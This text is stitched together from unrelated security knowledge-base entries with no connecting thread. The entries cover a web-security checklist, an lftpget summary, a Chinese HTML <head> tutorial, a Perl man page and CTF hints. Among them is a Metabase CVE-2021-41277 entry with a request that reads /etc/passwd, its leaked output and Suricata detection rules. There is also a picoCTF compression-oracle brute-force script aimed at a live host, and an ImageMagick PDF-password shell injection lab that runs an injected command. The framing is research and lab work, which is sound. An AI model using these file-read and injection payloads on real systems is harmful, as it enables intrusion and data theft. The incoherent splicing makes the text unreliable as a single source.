[CSP](https://en.wikipedia.org/wiki/Content_Security_Policy) header to mitigate XSS and data injection attacks. This is important. - [ ] `Add` [CSRF](https://en.wikipedia.org/wiki/Cross-site_request_forgery) header to prevent cross site request forgery. Also add [SameSite](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00) attributes on cookies. - [ ] `Add` [HSTS](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) header to prevent SSL stripping attack. - [ ] `Add` your domain to the [HSTS Preload List](https://hstspreload.org/) - [ ] `Add` [X-Frame-Options](https://en.wikipedia.org/wiki/Clickjacking#X-Frame-Options) to protect against Clickjacking. - [ ] `Add` [X-XSS-Protection](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#X-XSS-Protection) header to mitigate XSS attacks. - [ ] Update DNS records to add [SPF](https://en.wikipedia.org/wiki/Sender_Policy_Framework) record to mitigate spam and phishing attacks. - [ ] Add [subresource integrity checks](https://en.wikipedia.org/wiki/Subresource_Integrity) if loading your JavaScript libraries from a third party CDN. For extra security, add the [require-sri-for](https://w3c.github.io/webappsec-subresource-integrity/#parse-require-sri-for) CSP-directive so you don't load resources that don't have an SRI sat. - [ ] Use random CSRF tokens and expose business logic APIs as HTTP POST requests. Do not expose CSRF tokens over HTTP for example in an initial request upgrade phase. - [ ] Do not use critical data or tokens in GET request parameters. Exposure of server logs or a machine/stack processing them would expose user data in turn. ##### SANITIZATION OF INPUT - [ ] `Sanitize` all user inputs or any input parameters exposed to user to prevent [XSS](https://en.wikipedia.org/wiki/Cross-site_scripting). - [ ] Always use parameterized queries to prevent [SQL Injection](https://en.wikipedia.org/wiki/SQL_injection). - [ ] Sanitize user input if using it directly for functionalities like CSV import. - [ ] `Sanitize` user input for special cases like robots.txt as profile names in case you are using a url pattern like coolcorp.io/username. - [ ] Do not hand code or build JSON by string concatenation ever, no matter how small the object is. Use your language defined libraries or framework. - [ ] Sanitize inputs that take some sort of URLs to prevent [SSRF](https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#heading=h.t4tsk5ixehdd). - [ ] Sanitize Outputs before displaying to users. ##### OPERATIONS - [ ] If you are small and inexperienced, evaluate using AWS elasticbeanstalk or a PaaS to run your code. - [ ] Use a decent provisioning script to create VMs in the cloud. - [ ] Check for machines with unwanted publicly `open ports`. - [ ] Check for no/default passwords for `databases` especially MongoDB & Redis. - [ ] Use SSH to access your machines; do not setup a password, use SSH key-based authentication instead. - [ ] Install updates timely to act upon zero day vulnerabilities like Heartbleed, Shellshock. - [ ] Modify server config to use TLS 1.2 for HTTPS and disable all other schemes. (The tradeoff is good.) - [ ] Do not leave the DEBUG mode on. In some frameworks, DEBUG mode can give access full-fledged REPL or shells or expose critical data in error messages stacktraces. - [ ] Be prepared for bad actors & DDOS - use a hosting service that has DDOS mitigation. - [ ] Set up monitoring for your systems, and log stuff (use [New Relic](https://newrelic.com/) or something like that). - [ ] If developing for enterprise customers, adhere to compliance requirements. If AWS S3, consider using the feature to [encrypt data](http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingServerSideEncryption.html). If using AWS EC2, consider using the feature to use encrypted volumes (even boot volumes can be encrypted now). ##### PEOPLE - [ ] Set up an email (e.g. security@coolcorp.io) and a page for security researchers to report vulnerabilities. - [ ] Depending on what you are making, limit access to your user databases. - [ ] Be polite to bug reporters. - [ ] Have your code review done by a fellow developer from a secure coding perspective. (More eyes) - [ ] In case of a hack or data breach, check previous logs for data access, ask people to change passwords. You might require an audit by external agencies depending on where you are incorporated. - [ ] Set up [Netflix's Scumblr](https://github.com/Netflix/Scumblr) to hear about talks about your organization on social platforms and Google search.
sec-knowleage
lftpget === 调用lftp指令下载指定的文件 ## 补充说明 **lftpget命令** 通过调用lftp指令下载指定的文件。 ### 语法 ```shell lftpget(选项)(参数) ``` ### 选项 ```shell -c:继续先前的下载; -d:输出调试信息; -v:输出详细信息。 ``` ### 参数 文件:指定要下载的文件,文件必须是合法的URL路径。
sec-knowleage
version: '2' services: nginx: image: vulhub/nginx:1 volumes: - ./configuration:/etc/nginx/conf.d - ./files/:/home/ - ./www/:/usr/share/nginx/html/ ports: - "8080:8080" - "8081:8081" - "8082:8082"
sec-knowleage
# HTML `<head>` 1. `<head>`元素包含了所有的头部标签元素 2. 在 <head>元素中你可以插入脚本(scripts)、样式文件(CSS)、及各种`meta`信息 3. 可以添加在头部区域的元素标签为: `<title>`、`<style>`、`<meta>`、`<link>`、`<script>`、`<noscript>`、`<base>` ### `<title>`元素 1. `<title>`标签定义文档的标题 2. title 元素在所有 HTML/XHTML 文档中都是必需的 3. title 元素能够: - 定义浏览器工具栏中的标题 - 提供页面被添加到收藏夹时显示的标题 - 显示在搜索引擎结果中的页面标题 ```html <title>Document</title> ``` ### `<style>`元素 1. `<style>`标签定义了 HTML文档的样式文件引用地址. 2. 在`<style>`元素中你也可以直接添加样式来渲染 HTML 文档: ```html <style type="text/css"> body {background-color:yellow} p {color:blue} </style> ``` ### `<link>`元素 1. `<link>`标签定义了文档与外部资源之间的关系 2. `<link>`标签通常用于链接样式表、在线CDN等 ```html <link rel="stylesheet" type="text/css" href="mystyle.css"> ``` ### `<script>`元素 1. `<script>`标签用于加载脚本文件,如: JavaScript 2. `<script>`元素既可包含脚本语句,也可以通过 "src" 属性指向外部脚本文件 ```html <script> document.write("Hello World!") </script> ``` 属性 | 值 | 描述 ---------- | ---------- | ------------------------------------------- asyncNew | async | 规定异步执行脚本(仅适用于外部脚本) charset | charset | 规定在脚本中使用的字符编码(仅适用于外部脚本) defer | defer | 规定当页面已完成解析后,执行脚本(仅适用于外部脚本) src | URL | 规定外部脚本的 URL type | MIME-type | 规定脚本的 MIME 类型 xml:space | preserve | HTML5 不支持,规定是否保留代码中的空白 **小贴士**: 1. 如果使用 "src" 属性,则`<script>`元素必须是空的 2. 有多种执行外部脚本的方法: - 如果`async="async"`:脚本相对于页面的其余部分异步地执行(当页面继续进行解析时,脚本将被执行) - 如果不使用 async 且 `defer="defer"`:脚本将在页面完成解析时执行 - 如果既不使用 async 也不使用 defer:在浏览器继续解析页面之前,立即读取并执行脚本 ### `<noscript>`元素 1. noscript 元素用来定义在脚本未被执行时的替代内容(文本) 2. 此标签可被用于可识别`<noscript>`标签但无法支持其中的脚本的浏览器 3. 如果浏览器支持脚本,那么它不会显示出 noscript 元素中的文本 ```html <noscript>抱歉,你的浏览器不支持 JavaScript!</noscript> ``` #### 使用技巧 无法识别`<script>`标签的浏览器会把标签的内容显示到页面上。为了避免浏览器这样做,您应当在注释标签中隐藏脚本。老式的(无法识别`<script>`标签的)浏览器会忽略注释,这样就不会把标签的内容写到页面上,而新式的浏览器则懂得执行这些脚本,即使它们被包围在注释标签中! ``` <script> <!-- function displayMsg() { alert("Hello World!") } //--> </script> <noscript>抱歉,你的浏览器不支持 JavaScript!</noscript> ``` ### `<base>`元素 1. `<base>`标签描述了基本的链接地址`/` 2. 为页面中所有的链接指定默认地址 ```html <base href="http://www.w3school.com.cn/i/" target="_self" /> <!-- _self:指定页面中所有标签都是本页打开 --> ``` #### 举个例子 ```html <head> <base href="http://www.w3school.com.cn/i/" /> <base target="_blank" /> </head> <body> <img src="eg_smile.gif" /> <a href="http://www.w3school.com.cn">W3School</a> </body> ``` ### `<meta>`元素 1. meta是 html语言 `<head>`的一个辅助性标签 2. meta标签描述了一些基本的元数据。 3. `<meta>`标签提供了元数据.元数据也不显示在页面上,但会被浏览器解析 #### `<meta>`元素的作用有: 1. 搜索引擎优化(SEO) 2. 定义页面使用语言 3. 自动刷新并指向新的页面 4. 实现网页转换时的动态效果 5. 控制页面缓冲 6. 网页定级评价 7. 控制网页显示的窗口等 #### `<meta>`的使用 meta标签的组成:meta标签共有两个属性,它们分别是http-equiv属性和name属性,不同的属性又有不同的参数值,这些不同的参数值就实现了不同的网页功能。 #### name 属性 name属性主要用于描述网页,与之对应的属性值为content,content中的内容主要是便于搜索引擎机器人查找信息和分类信息用的 ##### name属性语法格式是: ```html <meta name="参数" content="具体的参数值"> ``` ##### name属性主要有以下几种参数:  - Keywords(关键字)  > 说明:keywords用来告诉搜索引擎你网页的关键字是什么 举例: ```html <meta name="keywords" content="meta总结,html meta,meta属性,meta跳转"> ``` - description(网站内容描述) > 说明:description用来告诉搜索引擎你的网站主要内容 举例: ```html <meta name="description" content="haorooms博客,html的meta总结,meta是html语言head区的一个辅助性标签"> ``` - robots(机器人向导) > 说明:robots用来告诉搜索机器人哪些页面需要索引,哪些页面不需要索引 content的参数有all、none、index、noindex、follow、nofollow(默认:all) 具体参数如下: 信息参数为all:文件将被检索,且页面上的链接可以被查询; 信息参数为none:文件将不被检索,且页面上的链接不可以被查询; 信息参数为index:文件将被检索; 信息参数为follow:页面上的链接可以被查询; 信息参数为noindex:文件将不被检索,但页面上的链接可以被查询; 信息参数为nofollow:文件将被检索,但页面上的链接不可以被查询; 举例: ```html <meta name="robots" content="none"> ``` - author(作者) > 说明:标注网页的作者 举例: ```html <meta name="author" content="root,root@xxxx.com"> ``` - generator > meta标签的generator的信息参数,代表说明网站的采用的什么软件制作 ```html <meta name="generator" content="信息参数"/> ``` - COPYRIGHT > meta标签的COPYRIGHT的信息参数,代表说明网站版权信息 ```html <META NAME="COPYRIGHT" CONTENT="信息参数"> ``` - revisit-after > revisit-after代表网站重访,7days代表7天,依此类推 ```html <META name="revisit-after" CONTENT="7days"> ``` ##### http-equiv属性 http-equiv顾名思义,相当于http的文件头作用,它可以向浏览器传回一些有用的信息,以帮助正确和精确地显示网页内容,与之对应的属性值为content,content中的内容其实就是各个参数的变量值。 ##### http-equiv属性语法格式是: ```html <meta http-equiv="参数" content="参数变量值"> ``` ##### http-equiv属性主要有以下几种参数: - Expires(期限) > 说明:可以用于设定网页的到期时间。一旦网页过期,必须到服务器上重新传输 用法: ```html <meta http-equiv="expires" content="Fri,12Jan200118:18:18GMT"> ``` **注意**:必须使用GMT的时间格式 - Pragma(cache模式) > 说明:禁止浏览器从本地计算机的缓存中访问页面内容。 用法: ```html <meta http-equiv="Pragma" content="no-cache"> ``` **注意**:这样设定,访问者将无法脱机浏览。 - Refresh(刷新) > 说明:自动刷新并指向新页面。 用法: ```html <meta http-equiv="Refresh" content="2;URL=http://www.haorooms.com"> <!-- (注意后面的引号,分别在秒数的前面和网址的后面) --> ``` **注意**:其中的2是指停留2秒钟后自动刷新到URL网址。 - Set-Cookie(cookie设定) > 说明:如果网页过期,那么存盘的cookie将被删除。 用法: ```html <meta http-equiv="Set-Cookie" content="cookie value=xxx;expires=Friday,12-Jan-200118:18:18GMT;path=/"> ``` **注意**:必须使用GMT的时间格式。 - Window-target(显示窗口的设定) > 说明:强制页面在当前窗口以独立页面显示。 用法: ```html <meta http-equiv="Window-target" content="_top"> ``` **注意**:用来防止别人在框架里调用自己的页面。 - content-Type(显示字符集的设定) > 说明:设定页面使用的字符集。 用法: ```html <meta http-equiv="content-Type" content="text/html;charset=gb2312"> ``` 具体如下: meta标签的 charset的信息参数如GB2312时,代表说明网站是采用的编码是简体中文; meta标签的 charset的信息参数如BIG5时,代表说明网站是采用的编码是繁体中文; meta标签的 charset的信息参数如iso-2022-jp时,代表说明网站是采用的编码是日文; meta标签的 charset的信息参数如ks_c_5601时,代表说明网站是采用的编码是韩文; meta标签的 charset的信息参数如ISO-8859-1时,代表说明网站是采用的编码是英文; meta标签的 charset的信息参数如UTF-8时,代表世界通用的语言编码; - content-Language(显示语言的设定) 用法: ```html <meta http-equiv="Content-Language" content="zh-cn"/> ``` - Cache-Control指定请求和响应遵循的缓存机制 Cache-Control指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置Cache-Control并不会修改另一个消息处理过程中的缓存处理过程。请求时的缓存指令包括no-cache、no-store、max-age、max-stale、min-fresh、on ly-if-cached,响应消息中的指令包括public、private、no-cache、no-store、no-transform、must-revalidate、proxy-revalidate、max-age。各个消息中的指令含义如下 Public指示响应可被任何缓存区缓存 Private指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效 no-cache指示请求或响应消息不能缓存 no-store用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存。 max-age指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应 min-fresh指示客户机可以接收响应时间小于当前时间加上指定时间的响应 max-stale指示客户机可以接收超出超时期间的响应消息。如果指定max-stale消息的值,那么客户机可以接收超出超时期指定值之内的响应消息。 - http-equiv="imagetoolbar" > 指定是否显示图片工具栏,当为false代表不显示,当为true代表显示 用法: ```html <meta http-equiv="imagetoolbar" content="false"/> ``` - Content-Script-Type > W3C网页规范,指明页面中脚本的类型 用法: ```html <Meta http-equiv="Content-Script-Type" Content="text/javascript"> ``` - 页面跳转,只用于IE 具体请看 http://www.haorooms.com/post/liulanq_think_ie ### 参考 - 菜鸟教程:[点击查看](http://www.runoob.com/html/html-head.html) - W3school:[点击查看](http://www.w3school.com.cn/html/html_head.asp) - FEX:[点击查看](http://fex.baidu.com/blog/2014/10/html-head-tags/)
sec-knowleage
# T1190-CVE-2021-41277-Metabase敏感信息泄露漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## Metabase敏感信息泄露漏洞(CVE-2021-41277) metabase是一个简单、开源的数据分析平台。 在受影响的版本中,自定义GeoJSON地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息。 ### 影响版本 影响版本: ```yml metabase version < 0.40.5 metabase version >= 1.0.0, < 1.40.5 ``` FOFA查询语句:app="metabase" ### 测试案例 POC:/api/geojson?url=file:/etc/passwd ### 检测日志 HTTP.log ### 测试复现 ```yml GET /api/geojson?url=file:/etc/passwd HTTP/1.1 Host: *.*.*.*:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Fri, 26 Nov 2021 12:34:30 GMT X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Last-Modified: Fri, 26 Nov 2021 20:34:30 +0800 Strict-Transport-Security: max-age=31536000 Set-Cookie: metabase.DEVICE=dd8c913f-87fb-483f-9e65-623657a0ca5a;HttpOnly;Path=/;SameSite=Lax;Expires=Sun, 17 Nov 2041 12:06:40 +0800 X-Permitted-Cross-Domain-Policies: none Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-eval' https://maps.google.com https://apis.google.com https://www.google-analytics.com https://*.googleapis.com *.gstatic.com 'sha256-lMAh4yjVuDkQ9NqkK4H+YHUga+anpFs5JAuj/uZh0Rs=' 'sha256-sMNbXyc1lLzhHbH/CKs11HIQMnMkZAN2eA99WhJeEC0=' 'sha256-JJa56hyDfUbgNfq+0nq6Qs866JKgZ/+qCq2pkDJED8k='; child-src 'self' https://accounts.google.com; style-src 'self' 'unsafe-inline'; font-src 'self' ; img-src * 'self' data:; connect-src 'self' metabase.us10.list-manage.com ; manifest-src 'self'; frame-ancestors 'none'; Content-Type: application/json Content-Encoding: gzip Expires: Tue, 03 Jul 2001 06:00:00 GMT Transfer-Encoding: chunked Server: Jetty(9.4.32.v20200930) root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:998:997:User for polkitd:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin ops:x:1000:1000::/home/ops:/bin/bash service:x:1001:1001::/home/service:/bin/bash zabbix:x:1002:1002::/home/zabbix:/sbin/nologin grafana:x:996:994:grafana user:/usr/share/grafana:/sbin/nologin mysql:x:995:1003::/usr/local/mysql:/sbin/nologin saslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin metabase:x:1003:1004::/home/metabase:/bin/bash redis:x:993:991:Redis Database Server:/var/lib/redis:/sbin/nologin nginx:x:992:990:Nginx web server:/var/lib/nginx:/sbin/nologin openvpn:x:991:989:OpenVPN:/etc/openvpn:/sbin/nologin ``` ### 检测规则/思路 Suricata规则 ```s alert http any any -> any any (msg:"CVE-2021-41277-rsq";flow:established,to_server;content:"GET";http_method;content:"/api/geojson?url=file:/etc/passwd";http_uri;reference:url,github.com/Seals6/CVE-2021-41277;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;) alert http any any -> any any (msg:"CVE-2021-41277-Metabase敏感信息泄露漏洞";flow:established,to_client;content:"200";http_stat_code;content:"/bin/bash";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;) ``` ## 备注 本案例仅做防御检测研究,请勿用于非法用途。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> CVE-2021-41277-POC <https://github.com/Seals6/CVE-2021-41277>
sec-knowleage
# Compress and Attack Category: Cryptography, 130 points ## Description > Your goal is to find the flag. > > Hint: > > * The flag only contains uppercase and lowercase letters, underscores, and braces (curly brackets) A Python script was attached: ```python #!/usr/bin/python3 -u import zlib from random import randint import os from Crypto.Cipher import Salsa20 flag = open("./flag").read() def compress(text): return zlib.compress(bytes(text.encode("utf-8"))) def encrypt(plaintext): secret = os.urandom(32) cipher = Salsa20.new(key=secret) return cipher.nonce + cipher.encrypt(plaintext) def main(): while True: usr_input = input("Enter your text to be encrypted: ") compressed_text = compress(flag + usr_input) encrypted = encrypt(compressed_text) nonce = encrypted[:8] encrypted_text = encrypted[8:] print(nonce) print(encrypted_text) print(len(encrypted_text)) if __name__ == '__main__': main() ``` ## Solution The attached Python script requests input from the user, then encrypts it together with the flag and outputs the ciphertext. We can try it via the attached service: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Compress_and_Attack] └─$ nc mercury.picoctf.net 50899 Enter your text to be encrypted: test b'>\xa1\xed?0a\x05\xc8' b'\xfc\x10a\xadjm\x02\xd9\x03s\xef\xd9\\\x81\xd9\xcc8\x15j\xdf\xaf\xfe\xa7\xff,\x96U\xde\x80#r\x9e\x9b\xa0\x12v@\xe5\xfe\xed\xcaF\xa3\x95\xed\x0f~_\x9d' 49 ``` Things to note here: * The program first compresses `flag + usr_input`, then encrypts it * The compression is performed using `zlib`, which presents a more efficient compression ration if the payload has a longer repeating sequence * The encryption is performed using `Salsa20` which is a stream cipher, and therefore the length of the plaintext is equal to the length of the ciphertext Taking advantage of these facts, we can try to bruteforce the flag by guessing it character after character, inspecting the length of the ciphertext, and selecting the character which provided the shortest length (most efficient compression ratio). For example: ```python >>> import zlib >>> len(zlib.compress(bytes("picoCTF{fake_flag}picoCTF{a".encode("utf-8")))) 30 >>> len(zlib.compress(bytes("picoCTF{fake_flag}picoCTF{b".encode("utf-8")))) 30 >>> len(zlib.compress(bytes("picoCTF{fake_flag}picoCTF{f".encode("utf-8")))) 29 >>> len(zlib.compress(bytes("picoCTF{fake_flag}picoCTF{g".encode("utf-8")))) 30 ``` As we can see, when we append to the (fake) flag a substring which shares a longer common prefix with it, we get a shorter output. The following script automates the process: ```python from pwn import * from collections import namedtuple import string Pair = namedtuple("Pair", "enc_len char") def get_encrypted_length(plaintext): while True: try: r = get_encrypted_length.r r.sendlineafter("Enter your text to be encrypted:", plaintext) nonce = r.recvline() encrypted = r.recvline() return int(r.recvlineS()) except (AttributeError, EOFError): get_encrypted_length.r = remote("mercury.picoctf.net", 50899) with log.progress("Brute forcing by encrypted length") as p: flag = "picoCTF{" while (flag[-1] != "}"): lengths = [] for c in string.ascii_letters + "{}_": candidate = flag + c length = get_encrypted_length(candidate) p.status(f"Current flag: '{flag}', character '{c}' returned encrypted length of {length}") lengths.append(Pair(length, c)) lengths.sort() smallest = lengths.pop(0) if (smallest.enc_len >= lengths[0].enc_len): raise RuntimeError(f"More than one character produced minimal encrypted length: '{smallest.char}', '{lengths[0].char}'") flag += smallest.char p.status(f"Appending '{smallest.char}' with minimal length of {smallest.enc_len} to flag") log.success(f"Flag: {flag}") ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Compress_and_Attack] └─$ python3 solve.py [+] Brute forcing by encrypted length: Done [+] Opening connection to mercury.picoctf.net on port 50899: Done [+] Opening connection to mercury.picoctf.net on port 50899: Done [+] Opening connection to mercury.picoctf.net on port 50899: Done [+] Opening connection to mercury.picoctf.net on port 50899: Done [+] Flag: picoCTF{sheriff_you_solved_the_crime} ```
sec-knowleage
# ImageMagick Shell Injection via PDF Password (CVE-2020-29599) [中文版本(Chinese version)](README.zh-cn.md) ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images. References: - https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html ## Environment Setup and Exploit Execute the following command to enter the Linux shell where Imagemagick 7.0.10-36 is installed: ``` docker compose run im bash ``` Enter the `/tmp` directory and convert the format of [poc.svg](poc.svg) to trigger the vulnerability: ``` root@f200ec9e1c1e:/# cd /tmp/ root@f200ec9e1c1e:/tmp# ls poc.svg root@f200ec9e1c1e:/tmp# identify poc.svg poc.svg SVG 700x700 700x700+0+0 16-bit sRGB 398B 0.000u 0:00.003 root@f200ec9e1c1e:/tmp# convert poc.svg poc.png sh: 1: : Permission denied convert: MagickCore/image.c:1168: DestroyImage: Assertion `image != (Image *) NULL' failed. Aborted root@f200ec9e1c1e:/tmp# ls 0wned poc.svg root@f200ec9e1c1e:/tmp# ``` The command `echo $(id)> ./0wned` has been executed successfully: ![](1.png)
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "PERLBOOK 7" .TH PERLBOOK 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide" .SH "NAME" perlbook \- Perl 书籍信息 .SH "DESCRIPTION 描述" .IX Header "DESCRIPTION" 《骆驼书》,官方称为 《Programming Perl,第三版》,作者正是 Larry Wall( PERL的创作者)本人,ISBN编号是0-596-00027-8。本书是几乎覆 盖所有有关PERL 的指定参考著作。你可以从O'Reilly & Associates处订购这本 书和其他有关PERL 的书,电话:1\-800\-998\-9938。美国本土和加拿大是 +1 707 829 0515,其他 国家在前面加1。如果你能有一个O'Reilly 订单,你也可以 发传真到:+1 707 829 0104(其他国家前加1)。如果你连接了WEB,你甚至可以在 http://www.oreilly.com/进行在线订单。 .PP 来自各出版社和作者的其他 Perl 书籍可以在 perlfaq2 中找到列表 .SH "中文版维护人" .B perl <mzs013@263.net> .SH "中文版最新更新" .B 2001年12月17日星期一
sec-knowleage
# Micro-CMS v2 ## [Flag0](./flag0) -- Found - Regular users can only see public pages - Getting admin access might require a more perfect union - Knowing the password is cool, but there are other approaches that might be easier ## [Flag1](./flag1) -- Found - What actions could you perform as a regular user on the last level, which you can't now? - Just because request fails with one method doesn't mean it will fail with a different method - Different requests often have different required authorization ## [Flag2](./flag2) -- Found - Credentials are secret, flags are secret. Coincidence?
sec-knowleage
